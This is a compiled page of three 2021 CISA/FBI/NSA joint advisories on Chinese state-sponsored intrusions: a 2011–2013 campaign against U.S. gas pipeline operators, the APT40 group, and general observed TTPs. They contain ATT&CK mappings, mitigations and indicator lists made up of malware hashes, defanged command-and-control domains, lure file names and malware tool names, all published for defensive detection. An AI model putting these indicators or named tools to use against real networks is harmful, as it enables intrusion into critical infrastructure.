CISA Alerts

AA21-201A: Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013

1 week ago
Original release date: July 20, 2021 | Last revised: July 21, 2021
Summary

This Advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) framework, Version 9. See the ATT&CK for Enterprise for all referenced threat actor tactics and techniques.

Note: CISA released technical information, including indicators of compromise (IOCs), provided in this advisory in 2012 to affected organizations and stakeholders.

This Joint Cybersecurity Advisory—coauthored by the Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI)—provides information on a spearphishing and intrusion campaign conducted by state-sponsored Chinese actors that occurred from December 2011 to 2013, targeting U.S. oil and natural gas (ONG) pipeline companies.

CISA and the FBI provided incident response and remediation support to a number of victims of this activity. Overall, the U.S. Government identified and tracked 23 U.S. natural gas pipeline operators targeted from 2011 to 2013 in this spearphishing and intrusion campaign. Of the known targeted entities, 13 were confirmed compromises, 3 were near misses, and 7 had an unknown depth of intrusion.

The U.S. Government has attributed this activity to Chinese state-sponsored actors. CISA and the FBI assess that these actors were specifically targeting U.S. pipeline infrastructure for the purpose of holding U.S. pipeline infrastructure at risk. Additionally, CISA and the FBI assess that this activity was ultimately intended to help China develop cyberattack capabilities against U.S. pipelines to physically damage pipelines or disrupt pipeline operations.

This advisory provides information on this campaign, including tactics, techniques, and procedures (TTPs) and IOCs. The TTPs remain relevant to help network defenders protect against intrusions. The IOCs are provided for historical awareness.

CISA and the FBI urge owners and operators of Energy Sector and other critical infrastructure (CI) networks to adopt a heightened state of awareness and implement the recommendations listed in the Mitigations section of this advisory, which include implementing network segmentation between IT and industrial control system (ICS)/operational technology (OT) networks. These mitigations will improve a CI entity’s defensive cyber posture and functional resilience by reducing the risk of compromise or severe operational degradation if the system is compromised by malicious cyber actors, including but not limited to actors associated with the campaign described in this advisory.

For more information on Chinese malicious cyber activity, see us-cert.cisa.gov/china.

Click here for a PDF version of this report.

Technical Details

In April 2012, CISA received reports about targeted attacks directed at multiple ONG pipeline sites; CISA (via a predecessor organization) and FBI provided incident response and remediation support to a number of victims from 2012 to 2013. CISA and FBI’s analysis of the malware and threat actor techniques identified that this activity was related to a spearphishing campaign. The U.S. Government identified and tracked 23 U.S. natural gas pipeline operators targeted in this campaign. Of the 23 known targeted entities, 13 were confirmed compromises, 3 were near misses, and 7 had an unknown depth of intrusion.

Threat Actor Activity

The spearphishing activity appears to have started in late December 2011. From December 9, 2011, through at least February 29, 2012, ONG organizations received spearphishing emails [T1566.002] specifically targeting their employees. The emails were at constructed with a high level of sophistication to convince employees to view malicious files [T1204.002]. Note: see the appendix for a table of the MITRE ATT&CK tactics and techniques observed in this campaign.

In addition to spearphishing, CISA and the FBI were made aware of social engineering attempts by malicious actors believed to be associated with this campaign. The apparent goal was to gain sensitive information from asset owners [T1598]. One asset owner reported that individuals in their network engineering department, including managers, received multiple phone calls requesting information about their recent network security practices. Other employees in other departments were not targeted. The asset owner also reported that these calls began immediately after they had identified and removed the malicious intruder from their network and performed a system-wide credential reset. The caller identified himself as an employee of a large computer security firm performing a national survey about network cybersecurity practices. He inquired about the organization’s policy and practices for firewall use and settings, types of software used to protect their network, and the use and type of intrusion detection and/or prevention systems. The caller was blocking his caller ID and when the targeted organization tried to return the call, they reached a number that was not in service.

During the investigation of these compromises, CISA and FBI personnel discovered that Chinese state-sponsored actors specifically collected [TA0009] and exfiltrated [TA0010] ICS-related information. The Chinese state-sponsored actors searched document repositories [T1213] for the following data types:

  • Document searches: “SCAD*”
  • Personnel lists
  • Usernames/passwords
  • Dial-up access information
  • System manuals

Based on incident data, CISA and FBI assessed that Chinese state-sponsored actors also compromised various authorized remote access channels, including systems designed to transfer data and/or allow access between corporate and ICS networks. Though designed for legitimate business purposes, these systems have the potential to be manipulated by malicious cyber actors if unmitigated. With this access, the Chinese state-sponsored actors could have impersonated legitimate system operators to conduct unauthorized operations. According to the evidence obtained by CISA and FBI, the Chinese state-sponsored actors made no attempts to modify the pipeline operations of systems they accessed. Note: there was a significant number of cases where log data was not available, and the depth of intrusion and persistent impacts were unable to be determined; at least 8 of 23 cases (35 percent) identified in the campaign were assessed as having an unknown depth of intrusion due to the lack of log data.

CISA and FBI assess that during these intrusions, China was successful in accessing the supervisory control and data acquisition (SCADA) networks at several U.S. natural gas pipeline companies.

Chinese actors also gained information specific to dial-up access, including phone numbers, usernames, and passwords [T1120]. Dial-up modems continue to be prevalent in the Energy Sector, providing direct access into the ICS environment with little or no security and no monitoring, which makes them an optimal vector for hold-at-risk operations. The exfiltrated data provided the capabilities for the Chinese cyber actors to access ONG operational systems at a level where they could potentially conduct unauthorized operations.

Exfiltrated Information and Assessed Motives

The Chinese actors specifically targeted information that pertained to access of ICSs. Searches were made for terms involving “SCAD*,” and the actors exfiltrated documents, including personnel lists, usernames and passwords, dial-up access information, remote terminal unit (RTU) sites, and systems manuals. The Chinese actors also exfiltrated information pertaining to ICS permission groups and compromised jump points between corporate and ICS networks. The totality of this information would allow the actors to access ICS networks via multiple channels and would provide sufficient access to allow them to remotely perform unauthorized operations on the pipeline with physical consequences.

CISA and FBI assess that these intrusions were likely intended to gain strategic access to the ICS networks for future operations rather than for intellectual property theft. This assessment was based on the content of the data that was being exfiltrated and the TTPs used to gain that access. One victim organization set up a honeypot that contained decoy documents with content that appeared to be SCADA-related data and sensitive organizational information. According to this organization, the SCADA-related decoy content was exfiltrated within 15 minutes of the time it was made available in the honeypot. Other sensitive decoy information, including financial and business-related information, was ignored.

CISA and FBI assess that this activity was ultimately intended to help China develop cyberattack capabilities against U.S. pipelines to physically damage pipelines or disrupt pipeline operations.

Indicators of Compromise

Table 1 lists indicators related to this spearphishing and intrusion campaign as of May 7, 2012, which are provided in this alert for historical completeness.

Table 1: IOCs from Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013

Type Indicator Filename Malware MD5:84873fae9cdecb84452fff9cca171004  ntshrui.dll   Malicious email content, including any attachments and/or message body fpso.bigish[.]net   Malware MD5:e12ce62cf7de42581c2fe1d7f36d521c  ntshrui.dll  

User agent string

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)   User agent string Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)   Named pipe ssnp   Possible command and control (C2) domain

<xxx>.arrowservice[.]net

Where xxx is the targeted company name abbreviation

  Malware MD5:7361a1f33d48802d061605f34bf08fb0   spoolsvd.exe Malware 5e6a033fa01739d9b517a468bd812162 AdobeUpdater.exe Malware e62afe2273986240746203f9d55496db ins.exe Malware ed92d1242c0017668b93a72865b0876b px.exe Malware 6818a9aef22c0c2084293c82935e84fe gh.exe Malware fcbbfadc992e265c351e54598a6f6dfb fslist.exe Malware 05476307f4beb3c0d9099270c504f055 u.exe Malware 54db65a27472c9f3126df5bf91a773ea slm.exe Malware a46a7045c0a3350c5a4c919fff2831a0 niu.exe Malware 60456fe206a87f5422b214369af4260e ccApp1.exe Malware d6eaadcbcf9ea9192db1bd5bb7462bf8 ntshrui.dll Malware 52294de74a80beb1e579e5bca7c7248a moonclient2.exe Malware e62afe2273986240746203f9d55496db inn.exe Malware 5e6a033fa01739d9b517a468bd812162 kkk.exe Malware 4a8854363044e4d66bf34a0cd331d93d inn.exe Malware 124ad1778c65a83208dbefcec7706dc6 AcroRD32.exe Malware 17199ddac616938f383a0339f416c890 iass.dll Malicious email sender address “(name of victim company official)@yahoo.com”   Malicious email content, including any attachments and/or message body “If not read this paper, pay attention.”   Malicious email hyperlinked probable malware The hyperlink indicated a “.zip” file and contained the words “quality specifications” in reference to a particular component or product unique to the victim U.S. corporation.   Malicious email signature block Contained the name, title, phone number, and corporate email address of an actual victim company official.   Malicious attachment name   Project-seems-clear-for-takeoff.zip Possible C2 domain <xxx>.arrowservice[dot]net
Where <xxx> may be the full name of the targeted company   Possible C2 domain <xxx>.federalres[.]org   Possible C2 domain <xxx>.businessconsults[.]net
Where <xxx> may be the targeted company name abbreviation or full name   Possible C2 domain idahoanad[dot]org   Possible C2 domain energyreview.strangled[.]net   Possible C2 domain blackcake[.]net    Possible C2 domain infosupports[.]com   Malware 7caf4dbf53ff1dcd5bd5be92462b2995 iTunesHelper.exe  Malware 99b58e416c5e8e0bcdcd39ba417a08ed Solarworldsummary.exe Malware f0a00cfd891059b70af96b807e9f9ab8 smss.exe Malware ea1b46fab56e7f12c4c2e36cce63d593 AcroRD32.exe Malicious email content, including any attachments and/or message body  3d28651bb2d16eeaa6a35099c886fbaa Election_2012_Analysis.pdf Possible C2 domain balancefitstudio[.]com   Possible C2 domain res.federalres[.]org   Possible C2 domain 18center[.]com   Possible C2 domain milk.crabdance[.]com   Possible C2 domain bargainblog[.com[.]au   Possible C2 domain etrace-it[.]com   Possible C2 domain picture.wintersline[.]com   Possible C2 domain wish.happyforever[.]com   Possible C2 domain mitchellsrus[.]com   Possible C2 domain un.linuxd[.]org   Malicious email content, including any attachments and/or message body    How_Can_Steelmakers_Compete_for_Growth_in_the_Steel_Sector_in_2012.zip Malicious email content, including any attachments and/or message body    (Company Name)_Summary.zip Malicious email content, including any attachments and/or message body  f5369e59a1ddca9b97ede327e98d8ffe Solarworldsummary.zip Malicious email content, including any attachments and/or message body    (Company Name)_to_Sell_RNGMS_to_(Company Name).zip Malicious email content, including any attachments and/or message body    Gift-Winter.zip Malicious email content, including any attachments and/or message body    Happy_New_Year.zip Malicious email content, including any attachments and/or message body    Debt_Crisis_Hits_US.zip Malicious email content, including any attachments and/or message body    01-12-RATEALERT.zip Malicious email content, including any attachments and/or message body  fni.itgamezone[.]net  

 

Mitigations

CISA and the FBI urge Energy Sector and other CI owners and operators to apply the following mitigations to implement a layered, defense-in-depth cyber posture. By implementing a layered approach, administrators will enhance the defensive cyber posture of their OT/ICS networks, reducing the risk of compromise or severe operational degradation if their system is compromised by malicious cyber actors.

  • Harden the IT/corporate network to reduce the risk of initial compromise.
    • Update all software, including operating systems, applications, and firmware, in a timely manner. Consider using a centralized patch management system.
    • Replace all end-of-life software and hardware devices.
    • Restrict and manage remote access software. Remote access tools are a common method for threat actors to gain initial access and persistence on target networks.
      • Manage and restrict users and groups who are permitted to access remote capabilities. Permissions should be limited to users that require the capability to complete their duties.
      • Require multi-factor authentication (MFA) for remote access.
      • Limit access to resources over networks, especially by restricting Remote Desktop Protocol (RDP). If RDP is operationally necessary, restrict the originating sources and require MFA.
    • Enable strong spam filters to prevent phishing emails from reaching end users.
    • Implement unauthorized execution prevention by:
      • Disabling macro scrips from Microsoft Office files transmitted via email.
      • Implementing application allowlisting, which only allows systems to execute programs known and permitted by security policy. Implement software restriction policies (SRPs) or other controls to prevent programs from executing from common malware locations, such as temporary folders supporting popular internet browsers.
    • Filter network traffic to prohibit ingress and egress communications with known malicious IP addresses. Prevent users from accessing malicious websites by implementing URL blocklists and/or allow lists.
    • Set antivirus/antimalware programs to regularly scan IT network assets using up-to-date signatures.
  • Implement and ensure robust network segmentation between IT and ICS networks to limit the ability of cyber threat actors to move laterally to ICS networks if the IT network is compromised.
    • Implement a network topology for ICS that has multiple layers, with the most critical communications occurring in the most secure and reliable layer. For more information refer to National Institute of Standard and Technology (NIST) Special Publication 800-82: Guide to ICS Security.
    • Use one-way communication diodes to prevent external access, whenever possible.
    • Set up demilitarized zones (DMZs) to create a physical and logical subnetwork that acts as an intermediary for connected security devices to avoid exposure.
    • Employ reliable network security protocols and services where feasible.
    • Consider using virtual local area networks (VLANs) for additional network segmentation, for example, by placing all printers in separate, dedicated VLANs and restricting users’ direct printer access.
  • Implement perimeter security between network segments to limit the ability of cyber threat actors to move laterally.
    • Control traffic between network segments by using firewalls, intrusion detection systems (IDSs), and filter routers and switches.
    • Implement network monitoring at key chokepoints—including egress points to the internet, between network segments, core switch locations—and at key assets or services (e.g., remote access services).
    • Configure an IDS to create alarms for any ICS traffic outside normal operations (after establishing a baseline of normal operations and network traffic).
    • Configure security incident and event monitoring (SIEM) to monitor, analyze, and correlate event logs from across the ICS network to identify intrusion attempts.
  • Implement the following additional ICS environment best practices:
    • Update all software. Use a risk-based assessment strategy to determine which ICS network and assets and zones should participate in the patch management program.
      • Test all patches in off-line text environments before implementation.
    • Implement application allowlisting on human machine interfaces.
    • Harden field devices, including tablets and smartphones.
    • Replace all end-of-life software and hardware devices.
    • Disable unused ports and services on ICS devices (after testing to ensure this will not affect ICS operation).
    • Restrict and manage remote access software. Require MFA for remote access to ICS networks.
    • Configure encryption and security for ICS protocols.
    • Use a risk-based asset inventory strategy to determine how OT network assets are identified and evaluated for the presence of malware.
    • Do not allow vendors to connect their devices to the ICS network. Use of a compromised device could introduce malware. 
    • Maintain an ICS asset inventory of all hardware, software, and supporting infrastructure technologies. 
    • Ensure robust physical security is in place to prevent unauthorized personal from accessing controlled spaces that house ICS equipment.
    • Regularly test manual controls so that critical functions can be kept running if ICS/OT networks need to be taken offline.
    • Manage the supply chain by adjusting the ICS procurement process to weigh cybersecurity heavily as part of the scoring and evaluation methodology. Additionally, establish contractual agreements for all outsourced services that ensure proper incident handling and reporting, security of interconnections, and remote access specifications and processes.
  • Implement the following additional best practices:
    • Implement IP geo-blocking, as appropriate.
    • Implement regular, frequent data backup procedures on both the IT and ICS networks. Data backup procedures should address the following best practices:
      • Ensure backups are regularly tested.
      • Store backups separately, i.e., backups should be isolated from network connections that could enable spread of malware or lateral movement.
      • Maintain regularly updated “gold images” of critical systems in the event they need to be rebuilt.
      • Retain backup hardware to rebuild systems in the even rebuilding the primary system is not preferred.
    • Implement a user training program to train employees to recognize spearphishing attempts, discourage users from visiting malicious websites or opening malicious attachments, and re-enforce appropriate user response to spearphishing emails.
APPENDIX: Tactics and Techniques

Table 2 provides a summary of the MITRE ATT&CK tactics and techniques observed in this campaign.

Table 2: Observed MITRE ATT&CK tactics and techniques

Tactic Technique Reconnaissance [TA0043] Phishing for Information [T1598] Initial Access [TA0001] Phishing: Spearphishing Link [T1566.002] Execution [TA0002] User Execution: Malicious File [T1204.002] Discovery [TA0007] Peripheral Device Discovery [T1120] Collection [TA0009] Information from Document Repositories [T1213] Exfiltration  [TA0010]   Revisions
  • Initial Version: July 20, 2021
  • July 20, 2021: Corrected "unknown depth of intrusion" in Technical Details from 8 to 7.
  • July 20, 2021: Removed "Office Viewer" recommendation since it's deprecated.

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CISA

AA21-200A: Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department

1 week 1 day ago
Original release date: July 19, 2021 | Last revised: July 20, 2021
Summary

This Joint Cybersecurity Advisory was written by the Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) to provide information on a Chinese Advanced Persistent Threat (APT) group known in open-source reporting as APT40. This advisory provides APT40’s tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help cybersecurity practitioners identify and remediate APT40 intrusions and established footholds.

APT40—aka BRONZE MOHAWK, FEVERDREAM, G0065, Gadolinium, GreenCrash, Hellsing, Kryptonite Panda, Leviathan, MUDCARP, Periscope, Temp.Periscope, and Temp.Jumper—is located in Haikou, Hainan Province, People’s Republic of China (PRC), and has been active since at least 2009. APT40 has targeted governmental organizations, companies, and universities in a wide range of industries—including biomedical, robotics, and maritime research—across the United States, Canada, Europe, the Middle East, and the South China Sea area, as well as industries included in China’s Belt and Road Initiative.

On July 19, 2021, the U.S. Department of Justice (DOJ) unsealed an indictment against four APT40 cyber actors for their illicit computer network exploitation (CNE) activities via front company Hainan Xiandun Technology Development Company (Hainan Xiandun). Hainan Xiandun employee Wu Shurong cooperated with and carried out orders from PRC Ministry of State Security (MSS) Hainan State Security Department (HSSD) intelligence officers Ding Xiaoyang, Zhu Yunmin, and Cheng Qingmin to conduct CNE. Wu’s CNE activities resulted in the theft of trade secrets, intellectual property, and other high-value information from companies and organizations in the United States and abroad, as well as from multiple foreign governments. These MSS-affiliated actors targeted victims in the following industries: academia, aerospace/aviation, biomedical, defense industrial base, education, government, healthcare, manufacturing, maritime, research institutes, and transportation (rail and shipping).

Click here for a PDF version of this report.

(Updated July 19, 2021) 

Click here for indicators of compromise (IOCs) in STIX format. Note: to uncover malicious activity, incident responders search for IOCs in network- and host-based artifacts and assess the results—eliminating false positives during the assessment. For example, some MD5 IOCs in the STIX file identify legitimate tools—such as Putty, cmd.exe, svchost.exe, etc.—as indicators of compromise. Although the tools themselves are not malicious, APT40 attackers placed and used them from non-standard folders on victim systems during computer intrusion activity. If a legitimate tool is identified by an incident responder, then the location of the tool should be assessed to eliminate false positives or to uncover malicious activity. See Technical Approaches to Uncovering and Remediating Malicious Activity for more incident handling guidance.

Technical Details

This Joint Cybersecurity Advisory uses the MITRE ATT&CK® framework, version 9. See the ATT&CK for Enterprise framework for all referenced threat actor tactics and techniques.

APT40 [G0065] has used a variety of tactics and techniques and a large library of custom and open-source malware—much of which is shared with multiple other suspected Chinese groups—to establish initial access via user and administrator credentials, enable lateral movement once inside the network, and locate high value assets in order to exfiltrate data. Table 1 provides details on these tactics and techniques. Note: see the appendix for a list of the domains, file names, and malware MD5 hash values used to facilitate this activity.

Table 1: APT40 ATT&CK Tactics and Techniques

Tactics Activities and Techniques  Reconnaissance [TA0043]
 and
 Resource Development [TA0042]
  • Gathered victim identity information [T1589] by collecting compromised credentials [T1589.001
  • Acquire infrastructure [T1583] to establish domains that impersonate legitimate entities [T1583.001], aka ‘typosquatting’, to use in watering hole attacks and as command and control (C2) [TA0011] infrastructure
  • Establish new [T1585.002] and compromise existing [T1586.002] email and social media accounts [1585.001] to conduct social engineering attacks
 Initial Access [TA0001]
  • External remote services (e.g., virtual private network [VPN] services) [T1133]
  • Spearphishing emails with malicious attachments [T1566.001] and links [T1566.002]
  • Drive-by compromises [T1189] and exploitation of public-facing applications [T1190]
  • Access to valid [T1078], compromised administrative [T1078.001] accounts
 Execution [TA0002]  
  • Command and scripting interpreters [T1059] such as PowerShell [T1059.001]
  • Exploitation of software vulnerabilities in client applications to execute code [T1203] using lure documents that dropped malware exploiting various Common Vulnerabilities and Exposures (CVEs)
  • User execution [T1204] of malicious files [T1204.002] and links [T1566.002] attached to spearphishing emails [T1566.001]
 Persistence [TA0003],
 Privilege Escalation
[TA0004],
 Credential Access
[TA0006],
 Discovery
[TA0007],
 and
 Lateral Movement [TA0008]

APT40 has used a combination of tool frameworks and malware to establish persistence, escalate privileges, map, and move laterally on victim networks. Additionally, APT40 conducted internal spearphishing attacks [T1534].

  • BADFLICK/Greencrash
  • China Chopper [S0020]
  • Cobalt Strike [S0154]
  • Derusbi/PHOTO [S0021]
  • Gh0stRAT [S0032]
  • GreenRAT
  • jjdoor/Transporter
  • jumpkick
  • Murkytop (mt.exe) [S0233]
  • NanHaiShu [S0228]
  • Orz/AirBreak [S0229]
  • PowerShell Empire [S0363]
  • PowerSploit [S0194]
  • Server software component: Web Shell [TA1505.003]
 Defense Evasion [TA0005],
 Command and Control
[TA0011],
 Collection
[TA0009],
 and
 Exfiltration [TA0010]  
  • Use of steganography [T1027.003] to hide stolen data inside other files stored on GitHub
  • Protocol impersonation [T1001.003] by using Application Programming Interface (API) keys for Dropbox accounts in commands to upload stolen data to make it appear that the activity was a legitimate use of the Dropbox service
  • Protocol tunneling [T1572] and multi-hop proxies [T1090.003], including the use of Tor [S0183]
  • Use of domain typosquatting for C2 infrastructure [T1583.001]
  • Archive [T1560], encrypt [T1532], and stage collected data  locally [T1074.001] and remotely [T1074.002] for exfiltration
  • Exfiltration over C2 channel [T1041]
MitigationsNetwork Defense-in-Depth

Proper network defense-in-depth and adherence to information security best practices can assist in mitigating the threat and reducing the risk. The following guidance may assist organizations in developing network defense procedures.

Patch and Vulnerability Management
  • Install vendor-provided and verified patches on all systems for critical vulnerabilities, prioritizing timely patching of internet-connected servers and software processing internet data—such as web browsers, browser plugins, and document readers.
  • Ensure proper migrating steps or compensating controls are implemented for vulnerabilities that cannot be patched in a timely manner.
  • Maintain up-to-date antivirus signatures and engines.
  • Routinely audit configuration and patch management programs to ensure the ability to track and mitigate emerging threats. Implementing a rigorous configuration and patch management program will hamper sophisticated cyber threat actors’ operations and protect resources and information systems.
  • Review the articles in the References section for more information on Chinese APT exploitation of common vulnerabilities.
Protect Credentials
  • Strengthen credential requirements, regularly change passwords, and implement multi-factor authentication to protect individual accounts, particularly for webmail and VPN access and for accounts that access critical systems. Do not reuse passwords for multiple accounts. 
  • Audit all remote authentications from trusted networks or service providers.
  • Detect mismatches by correlating credentials used within internal networks with those employed on external-facing systems.
  • Log use of system administrator commands such as net, ipconfig, and ping.
  • Enforce principle of least privilege.
Network Hygiene and Monitoring
  • Actively scan and monitor internet-accessible applications for unauthorized access, modification, and anomalous activities. 
  • Actively monitor server disk use and audit for significant changes.
  • Log Domain Name Service (DNS) queries and consider blocking all outbound DNS requests that do not originate from approved DNS servers. Monitor DNS queries for C2 over DNS.
  • Develop and monitor the network and system baselines to allow for the identification of anomalous activity. Audit logs for suspicious behavior.
  • Identify and suspend access of users exhibiting unusual activity.
  • Use allowlist or baseline comparison to monitor Windows event logs and network traffic to detect when a user maps a privileged administrative share on a Windows system.
  • Leverage multi-sourced threat-reputation services for files, DNS, URLs, IP addresses, and email addresses.
  • Network device management interfaces—such as Telnet, Secure Shell (SSH), Winbox, and HTTP—should be turned off for wide area network (WAN) interfaces and secured with strong passwords and encryption when enabled.
  • When possible, segment critical information on air-gapped systems. Use strict access control measures for critical data. 
APPENDIX: APT40 Indicators of Compromise

APT40 used the following domains, file names, and malware MD5 hash values to facilitate the CNE activity outlined in this CSA between 2009 through 2018.

 

Domains airbusocean[.]com https://pastebin[.]com/vfb5mbbu pacifichydrologic[.]org cargillnotice[.]com huntingtomingalls[.]com philippinenewss[.]com ccidmeekparry[.]info indiadigest[.]in philstarnotice[.]com ccvzvhjhdf[.]website jack-newnb[.]com porndec143.chickenkiller[.]com cdigroups[.]com kAty197.chickenkiller[.]com santaclarasystem[.]us checkecc[.]com louisdreyfu[.]com scsnewstoday[.]com chemscalere[.]com mail2.ignorelist[.]com secbkav[.]com cnnzapmeta[.]com masterroot[.]pw Soure7788.chickenkiller[.]com corycs[.]com microsql-update[.]info tccoll[.]com deltektimes[.]com mihybb[.]com teledynegroup[.]com Engaction[.]com mlcdailynews[.]com teledyneinstrument[.]com ens-smithjonathan.rhcloud[.]com movyaction[.]net testdomain2019.chickenkiller[.]com fishgatesite.wordpress[.]com msusanode[.]com thestar[.]live goo2k88yyh2.chickenkiller[.]com newbb-news[.]com thrivedataview[.]com gttdoskip[.]com nfmybb[.]com thyssemkrupp[.]com http://gkimertds.wordpress[.]com/feed/ nmw4xhipveaca7hm[.]onion.link/en_US/all.js thyssenkrupp-marinesystems[.]org http://stackoverflow[.]com/users/3627469/angle-swift nobug[.]uk.to togetno992.mooo[.]com http://stackoverflow[.]com/users/3804206/swiftr-angle notesof992.wordpress[.]com tojenner97.chickenkiller[.]com http://stackoverflow[.]com/users/3863346/gkimertdssdads onlinenewspapers[.]club trafficeco[.]com vser.mooo[.]com onlineobl[.]com transupdate[.]com https://pastebin[.]com/p1mktQpD oyukg43t[.]website troubledate[.]com ultrasocial[.]info wsmcoff[.]com xbug.uk[.]to usdagroup[.]com www.yorkshire-espana-sa[.]com/english/servicios/ yootypes[.]com   https://github[.]com/slotz/sharp-loader/commit/f9de338fb474fd970a7375030642d04179b9245d    

MD5 Malware Hashes (Updated July 19, 2021) Note: to uncover malicious activity, incident responders search for indicators of compromise (IOCs) in network- and host-based artifacts and assess the results—eliminating false positives during the assessment. For example, some MD5 IOCs in the table below identify legitimate tools—such as PuTTY, cmd.exe, svchost.exe, etc.—as indicators of compromise. Although the tools themselves are not malicious, APT40 attackers placed and used them from non-standard folders on victim systems during computer intrusion activity. If a legitimate tool is identified by an incident responder, then the location of the tool should be assessed to eliminate false positives or to uncover malicious activity. See Technical Approaches to Uncovering and Remediating Malicious Activity for more incident handling guidance.  

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fad93907d5587eb9e0d8ebc78a5e19c2
 

 

 

 

 

 

Contact Information

To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field, or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at CISAServiceDesk@cisa.dhs.gov.

References Revisions
  • July 19, 2021: Initial version
  • Updated July 19, 2021: Added note and STIX file

This product is provided subject to this Notification and this Privacy & Use policy.

CISA

AA21-200B: Chinese State-Sponsored Cyber Operations: Observed TTPs

1 week 1 day ago
Original release date: July 19, 2021
Summary

This advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) framework, Version 9, and MITRE D3FEND™ framework, version 0.9.2-BETA-3. See the ATT&CK for Enterprise for all referenced threat actor tactics and techniques and the D3FEND framework for referenced defensive tactics and techniques.

The National Security Agency, Cybersecurity and Infrastructure Security Agency (CISA), and Federal Bureau of Investigation (FBI) assess that People’s Republic of China state-sponsored malicious cyber activity is a major threat to U.S. and Allied cyberspace assets. Chinese state-sponsored cyber actors aggressively target U.S. and allied political, economic, military, educational, and critical infrastructure (CI) personnel and organizations to steal sensitive data, critical and emerging key technologies, intellectual property, and personally identifiable information (PII). Some target sectors include managed service providers, semiconductor companies, the Defense Industrial Base (DIB), universities, and medical institutions. These cyber operations support China’s long-term economic and military development objectives.

This Joint Cybersecurity Advisory (CSA) provides information on tactics, techniques, and procedures (TTPs) used by Chinese state-sponsored cyber actors. This advisory builds on previous NSA, CISA, and FBI reporting to inform federal, state, local, tribal, and territorial (SLTT) government, CI, DIB, and private industry organizations about notable trends and persistent TTPs through collaborative, proactive, and retrospective analysis.

To increase the defensive posture of their critical networks and reduce the risk of Chinese malicious cyber activity, NSA, CISA, and FBI urge government, CI, DIB, and private industry organizations to apply the recommendations listed in the Mitigations section of this advisory and in Appendix A: Chinese State-sponsored Cyber Actors' Observed Procedures. Note: NSA, CISA, and FBI encourage organization leaders to review CISA Joint Insights: Chinese Malicious Cyber Activity: Threat Overview for Leaders for information on this threat to their organization.

Click here for a PDF version of this report.

Technical DetailsTrends in Chinese State-Sponsored Cyber Operations

NSA, CISA, and FBI have observed increasingly sophisticated Chinese state-sponsored cyber activity targeting U.S. political, economic, military, educational, and CI personnel and organizations. NSA, CISA, and FBI have identified the following trends in Chinese state-sponsored malicious cyber operations through proactive and retrospective analysis:

  • Acquisition of Infrastructure and Capabilities. Chinese state-sponsored cyber actors remain agile and cognizant of the information security community’s practices. These actors take effort to mask their activities by using a revolving series of virtual private servers (VPSs) and common open-source or commercial penetration tools.

  • Exploitation of Public Vulnerabilities. Chinese state-sponsored cyber actors consistently scan target networks for critical and high vulnerabilities within days of the vulnerability’s public disclosure. In many cases, these cyber actors seek to exploit vulnerabilities in major applications, such as Pulse Secure, Apache, F5 Big-IP, and Microsoft products. For information on Common Vulnerabilities and Exposures (CVE) known to be exploited by malicious Chinese state-sponsored cyber actors, see:

  • Encrypted Multi-Hop Proxies. Chinese state-sponsored cyber actors have been routinely observed using a VPS as an encrypted proxy. The cyber actors use the VPS as well as small office and home office (SOHO) devices as operational nodes to evade detection.

Observed Tactics and Techniques

Chinese state-sponsored cyber actors use a full array of tactics and techniques to exploit computer networks of interest worldwide and to acquire sensitive intellectual property, economic, political, and military information. Appendix B: MITRE ATT&CK Framework lists the tactics and techniques used by Chinese state-sponsored cyber actors. A downloadable JSON file is also available on the NSA Cybersecurity GitHub page.

Refer to Appendix A: Chinese State-Sponsored Cyber Actors’ Observed Procedures for information on procedures affiliated with these tactics and techniques as well as applicable mitigations.

Figure 1: Example of tactics and techniques used in various cyber operations.

 

Mitigations

NSA, CISA, and FBI urge federal and SLTT government, CI, DIB, and private industry organizations to apply the following recommendations as well as the detection and mitigation recommendations in Appendix A, which are tailored to observed tactics and techniques:

  • Patch systems and equipment promptly and diligently. Focus on patching critical and high vulnerabilities that allow for remote code execution or denial-of-service on externally facing equipment and CVEs known to be exploited by Chinese state-sponsored cyber actors. Consider implementing a patch management program that enables a timely and thorough patching cycle.
    Note: for more information on CVEs routinely exploited by Chinese state-sponsored cyber actors refer to the resources listed in the Trends in Chinese State-Sponsored Cyber Operations section.

  • Enhance monitoring of network traffic, email, and endpoint systems. Review network signatures and indicators for focused activities, monitor for new phishing themes, and adjust email rules accordingly. Follow the best practices of restricting attachments via email and blocking URLs and domains based upon reputation. Ensure that log information is aggregated and correlated to enable maximum detection capabilities, with a focus on monitoring for account misuse. Monitor common ports and protocols for command and control (C2) activity. SSL/TLS inspection can be used to see the contents of encrypted sessions to look for network-based indicators of malware communication protocols. Implement and enhance network and endpoint event analysis and detection capabilities to identify initial infections, compromised credentials, and the manipulation of endpoint processes and files.
  • Use protection capabilities to stop malicious activity. Implement anti-virus software and other endpoint protection capabilities to automatically detect and prevent malicious files from executing. Use a network intrusion detection and prevention system to identify and prevent commonly employed adversarial malware and limit nefarious data transfers. Use a domain reputation service to detect suspicious or malicious domains. Use strong credentials for service accounts and multi-factor authentication (MFA) for remote access to mitigate an adversary's ability to leverage stolen credentials, but be aware of MFA interception techniques for some MFA implementations.▪
Resources

Refer to us-cert.cisa.gov/china, https://www.ic3.gov/Home/IndustryAlerts, and https://www.nsa.gov/What-We-Do/Cybersecurity/Advisories-Technical-Guidance/ for previous reporting on Chinese state-sponsored malicious cyber activity.

Disclaimer of Endorsement

